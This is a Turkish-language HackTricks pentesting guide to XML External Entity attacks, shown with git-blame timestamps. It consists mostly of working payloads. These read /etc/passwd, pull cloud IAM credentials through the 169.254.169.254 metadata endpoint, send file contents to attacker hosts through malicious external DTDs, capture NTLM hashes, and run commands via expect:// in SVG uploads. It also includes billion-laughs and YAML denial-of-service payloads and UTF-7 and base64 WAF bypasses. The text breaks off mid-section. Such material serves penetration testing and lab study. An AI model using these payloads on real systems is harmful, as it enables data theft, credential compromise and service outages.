hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

698 lines
37 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# XXE - XEE - XML Harici Varlık
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## XML Temelleri
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı adlandırılmış etiketlerin kullanımına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiketlerle sınırlı olmamasıyla farklılık gösterir. JSON'ın yükselişiyle XML'in önemi azalmıştır, ancak başlangıçtaki AJAX teknolojisindeki rolüyle.
* **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `&lt;` ve `&gt;` gibi özel karakterler de dahil olmak üzere verinin temsil edilmesini sağlar; bu karakterler, `<` ve `>` ile çakışmayı önlemek için kullanılır.
* **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına izin verir, elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türden içerikten belirli çocuk elemanlara kadar uzanabilir.
* **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirirler.
* **Özel ve Harici Varlıklar**: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcıların harici veri kaynaklarını nasıl işlediğini sömürür: `<!DOCTYPE foo [ <!ENTITY myentity "değer" > ]>`
* **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XXE zafiyetlerini tespit etmek için XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyerek veya HTTP isteklerini kontrol edilen bir alan adına yaparak zafiyeti doğrulamak için dış-band tespit tekniklerine izin verir.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
2024-02-10 18:14:16 +00:00
## Ana saldırılar
[**Bu saldırıların çoğu harika Portswiggers XEE lablarında test edildi: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
2024-02-10 18:14:16 +00:00
### Yeni Varlık testi
Bu saldırıda basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
2024-02-10 18:14:16 +00:00
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
```
### Dosya okuma
Farklı yollarla `/etc/passwd` dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_"'nin de çalışacağını fark edin.
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
Bu ikinci durum, web sunucusunun PHP kullandığı durumlarda bir dosya çıkarmak için kullanışlı olmalıdır (Portswiggers lab'ın durumu değil)
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Bu üçüncü durumda, `Element stockCheck`'i ANY olarak bildirdiğimize dikkat edin.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
2024-02-10 18:14:16 +00:00
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
```
### Dizin listesi
2021-08-03 11:46:59 +00:00
Java tabanlı uygulamalarda, bir dizinin içeriğini sormak için aşağıdaki gibi bir payload ile XXE kullanarak **dizin içeriğini listeleyebilirsiniz**:
2024-02-06 03:10:38 +00:00
```xml
2021-08-03 11:46:59 +00:00
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
```
2022-09-30 10:43:59 +00:00
### SSRF
Bir XXE, bir bulutta bir SSRF'yi kötüye kullanmak için kullanılabilir.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
### Kör SSRF
**Önceki yorumlanmış teknik** kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de **XML varlıklarına izin verilmiyordur**, bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
### "Kör" SSRF - Verileri dışarıya çıkar
**Bu durumda, sunucuyu, bir dosyanın içeriğini bir HTTP isteği aracılığıyla gönderecek kötü amaçlı bir yük taşıyan yeni bir DTD yüklemeye zorlayacağız (**çok satırlı dosyalar için bunu örneğin şu temel sunucu kullanarak **_**ftp://**_** üzerinden dışarıya çıkarabilirsiniz** [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temellendirilmiştir.**
Verileri dışarıya çıkarmak için kötü amaçlı DTD'de bir dizi adım gerçekleştirilir:
### Kötü Amaçlı DTD Örneği:
2024-02-10 18:14:16 +00:00
Yapı aşağıdaki gibidir:
2024-02-05 02:29:11 +00:00
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```
Bu DTD tarafından yürütülen adımlar şunlardır:
1. **Parametre Varlıklarının Tanımlanması:**
* Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
* Başka bir XML parametre varlığı, `%eval`, tanımlanır. Dinamik olarak yeni bir XML parametre varlığı, `%exfiltrate`, bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizgisinde `%file` varlığının içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
2. **Varlıkların Yürütülmesi:**
* `%eval` varlığı kullanılarak, `%exfiltrate` varlığının dinamik bildiriminin yürütülmesine yol açılır.
* Daha sonra `%exfiltrate` varlığı kullanılarak, dosyanın içeriği ile belirtilen URL'ye HTTP isteği başlatılır.
Saldırgan, bu kötü amaçlı DTD'yi genellikle `http://web-saldirgan.com/kotu.dtd` gibi kendi kontrolündeki bir sunucuda barındırır.
2024-02-05 02:29:11 +00:00
**XXE Yükü:** Zayıf bir uygulamayı sömürmek için saldırgan bir XXE yükü gönderir:
2024-02-05 02:29:11 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bu payload, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içine dahil eder. Bir XML ayrıştırıcı tarafından işlendiğinde, bu payload, saldırganın sunucusundan harici DTD'yi getirir. DTD daha sonra içeride yorumlanır, kötü amaçlı DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
2024-02-10 18:14:16 +00:00
### Hata Tabanlı (Harici DTD)
**Bu durumda, sunucunun, bir dosyanın içeriğini bir hata mesajında gösterecek kötü amaçlı bir DTD yüklemesini sağlayacağız (bu yalnızca hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind)
Kötü amaçlı harici Document Type Definition (DTD) kullanılarak, bir XML ayrıştırma hatası mesajı tetiklenerek `/etc/passwd` dosyasının içeriği ortaya çıkarılabilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
1. `/etc/passwd` dosyasının içeriğini içeren `file` adlı bir XML parametre varlığı tanımlanır.
2. Dinamik bir bildirim içeren `eval` adlı başka bir XML parametre varlığı tanımlanır. Bu `error` varlığı, değerlendirildiğinde, `file` varlığının içeriğini adı olarak içeren bir olmayan dosya yükleme girişiminde bulunur.
2024-02-10 18:14:16 +00:00
3. `eval` varlığı çağrılır ve `error` varlığının dinamik olarak bildirilmesine yol açar.
4. `error` varlığının çağrılması, bir olmayan dosya yükleme girişiminde bulunur ve `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
2024-02-10 18:14:16 +00:00
Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
2024-02-10 18:14:16 +00:00
### **Hata Tabanlı (sistem DTD)**
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri ne olacak?
XML dilindeki bir açıklık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında **hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına** neden olabilir. Bu sorun, dışarıdan ve içeriden deklare edilen varlıkların içeride yeniden tanımlanmasına izin vererek hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış bir DTD'de orijinal olarak deklare edilen bir XML parametre varlığının iç DTD içinden yeniden tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri ortaya çıkarmak için ayrıştırma hatası oluşturmayı amaçlarlar.
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda bir DTD dosyası bulunduğunu ve `custom_entity` adında bir varlık tanımladığını düşünelim. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:
2024-02-04 16:10:29 +00:00
```xml
<!DOCTYPE foo [
2024-02-10 18:14:16 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```
Adımların şeması bu DTD tarafından yürütülür:
* Sunucunun dosya sisteminde bulunan harici DTD dosyasını içeren `local_dtd` adında bir XML parametre varlığının tanımı yapılır.
* Harici DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir ve [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsayacak şekilde tasarlanmıştır. Bu yeniden tanımlama, `/etc/passwd` dosyasının içeriğini ortaya çıkarmak için bir ayrıştırma hatası oluşturmayı amaçlar.
* `local_dtd` varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu adımlar dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda bir DTD içerir ve bu DTD'de `ISOamso` adında bir varlık bulunur.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
2024-02-10 18:14:16 +00:00
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bu teknik bir **iç DTD kullandığından önce geçerli bir tane bulmanız gerekir**. Bunun için aynı **İşletim Sistemi / Yazılımı yükleyerek** sunucunun kullandığı ve **bazı varsayılan DTD'leri arayabilirsiniz**, veya sistemler içindeki **varsayılan DTD'lerin bir listesini alabilir** ve var olup olmadığını **kontrol edebilirsiniz**:
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Sistem içindeki DTD'leri Bulma
2021-05-01 17:36:21 +00:00
Aşağıdaki harika github deposunda **sistemde bulunabilecek DTD'lerin yollarını** bulabilirsiniz:
2021-05-01 17:36:21 +00:00
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
2021-05-01 17:36:21 +00:00
Ayrıca, **kurban sistemin Docker görüntüsüne** sahipseniz, aynı depodaki aracı kullanarak **görüntüyü tarama** ve sistem içinde bulunan **DTD'lerin yolunu bulma** imkanınız vardır. Nasıl yapılacağını öğrenmek için [githubın Readme'sini](https://github.com/GoSecure/dtd-finder) okuyun.
2021-05-01 17:36:21 +00:00
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
2024-02-10 18:14:16 +00:00
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
2024-02-10 18:14:16 +00:00
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
2021-05-01 17:36:21 +00:00
Testing 0 entities : []
```
### Ofis Açık XML Ayrıştırıcıları Aracılığıyla XXE
Bu saldırının daha detaylı bir açıklaması için, [bu harika yazının ikinci bölümüne](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **Detectify'dan** bakabilirsiniz.
**Birçok web uygulaması, Microsoft Office belgelerini yüklemeyi sağlar**, ardından bu belgelerden belirli detayları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.
Bu zafiyeti test etmek için, **XXE yüklemesi içeren bir Microsoft Office dosyası oluşturmak gereklidir**. İlk adım, belgenin açılacağı boş bir dizin oluşturmaktır.
Belge açıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenilen XXE yüklemesini içerecek şekilde değiştirilmelidir.
Değiştirilmiş XML satırları iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin değiştirilmesi önemlidir.
Son olarak, kötü niyetli poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:
Şimdi, oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve bir isteğin Burp Collaborator günlüklerinde görünmesi umulabilir.
2024-02-10 18:14:16 +00:00
### Jar: Protokolü
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve bir **PKZIP** arşivinde (örneğin `.zip`, `.jar`, vb.) dosya erişimini destekler.
```
2021-05-01 17:36:21 +00:00
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için **son derece faydalıdır.** Sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenmek için [bu bölüme](xxe-xee-xml-external-entity.md#error-based-system-dtd) bakın.
2021-05-01 17:36:21 +00:00
{% endhint %}
PKZIP arşivi içindeki bir dosyaya jar protokolü aracılığıyla erişme süreci birkaç adım içerir:
2021-05-01 17:36:21 +00:00
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip` adresinden zip arşivini indirmek için bir HTTP isteği yapılır.
2. Arşivi içeren HTTP yanıtı geçici olarak sistemde saklanır, genellikle `/tmp/...` gibi bir konumda.
3. Arşiv, içeriğine erişmek için çıkarılır.
2024-02-10 18:14:16 +00:00
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
5. İşlem sonrasında, bu süreçte oluşturulan geçici dosyalar silinir.
2021-05-01 17:36:21 +00:00
Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
2021-05-01 17:36:21 +00:00
{% hint style="danger" %}
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir zafiyeti yükseltmeye yardımcı olabilir.
2021-05-01 17:36:21 +00:00
{% endhint %}
2022-09-30 10:43:59 +00:00
### XSS
2024-02-06 03:10:38 +00:00
```xml
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
```
### DoS
2024-02-10 18:14:16 +00:00
#### Milyar Gülüş Saldırısı
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```
2024-02-10 18:14:16 +00:00
#### Yaml Saldırısı
2024-02-06 03:10:38 +00:00
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Kare Kök Saldırısı
![](<../.gitbook/assets/image (524).png>)
#### NTML Almak
Windows ana bilgisayarlarında, bir responder.py işleyici ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür:
2024-02-06 03:10:38 +00:00
```bash
Responder.py -I eth0 -v
```
2024-02-10 18:14:16 +00:00
ve aşağıdaki isteği göndererek
2024-02-06 03:10:38 +00:00
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
2024-02-10 18:14:16 +00:00
## Gizli XXE Yüzeyleri
2022-09-30 10:43:59 +00:00
### XInclude
Müşteri verilerini sunucu tarafındaki XML belgelerine entegre ederken, arka uç SOAP isteklerinde olduğu gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır, bu da `DOCTYPE` öğesini değiştirme konusundaki kısıtlamalar nedeniyle geleneksel XXE saldırılarını engeller. Bununla birlikte, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafında oluşturulan XML belgesinin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
2024-02-04 16:10:29 +00:00
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
2024-02-10 18:14:16 +00:00
### SVG - Dosya Yükleme
2024-02-04 16:10:29 +00:00
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, daha sonra sunucuda işlenirken XML veya XML içeren dosya biçimlerinin nasıl işlendiğindeki güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
Kullanıcılar **resim yüklediğinde**, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, **sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir**. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına neden olabilir.
Bu tür bir saldırının bir örneği aşağıda gösterilmektedir, kötü niyetli bir SVG resmi sistemi okumaya çalışmaktadır:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları yürütmeye çalışmaktır**:
2024-02-04 16:10:29 +00:00
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
2024-02-10 18:14:16 +00:00
<image xlink:href="expect://ls"></image>
</svg>
```
Her iki durumda da, SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulaması ve güvenlik önlemlerinin gerekliliğini vurgular.
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)'i kontrol edin!
**Dosya yükleme - PDF**
2020-10-15 13:16:06 +00:00
Bir PDF dosyası yükleyerek XXE'yi nasıl sömürüleceğini öğrenmek için aşağıdaki yazıyı okuyun:
2020-10-15 13:16:06 +00:00
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
2020-10-15 13:16:06 +00:00
### Content-Type: x-www-urlencoded'dan XML'e
Bir POST isteği XML formatında veri kabul ediyorsa, o istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
2024-02-06 03:10:38 +00:00
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Ardından aşağıdaki isteği gönderebilirsiniz, aynı sonuçla:
2024-02-06 03:10:38 +00:00
```xml
2020-11-17 16:58:54 +00:00
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
```
2024-02-10 18:14:16 +00:00
### Content-Type: JSON'dan XEE'ye
İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği [buradan](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) bulabilirsiniz:
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/json;charset=UTF-8
2020-11-20 10:55:52 +00:00
{"root": {"root": {
2024-02-10 18:14:16 +00:00
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
2024-02-06 03:10:38 +00:00
```xml
Content-Type: application/xml;charset=UTF-8
2020-11-20 10:55:52 +00:00
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2024-02-10 18:14:16 +00:00
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
2024-02-10 18:14:16 +00:00
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
```
2024-02-10 18:14:16 +00:00
Başka bir örnek [burada](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) bulunabilir.
## WAF & Koruma Atlatmaları
2022-09-30 10:43:59 +00:00
### Base64
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
Bu sadece XML sunucusunun `data://` protokolünü kabul ettiği durumlarda çalışır.
2022-09-30 10:43:59 +00:00
### UTF-7
\[[Burada CyberChef'in "Encode Recipe" özelliğini kullanabilirsiniz](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transform to UTF-7.
2024-02-06 03:10:38 +00:00
```xml
<!xml version="1.0" encoding="UTF-7"?-->
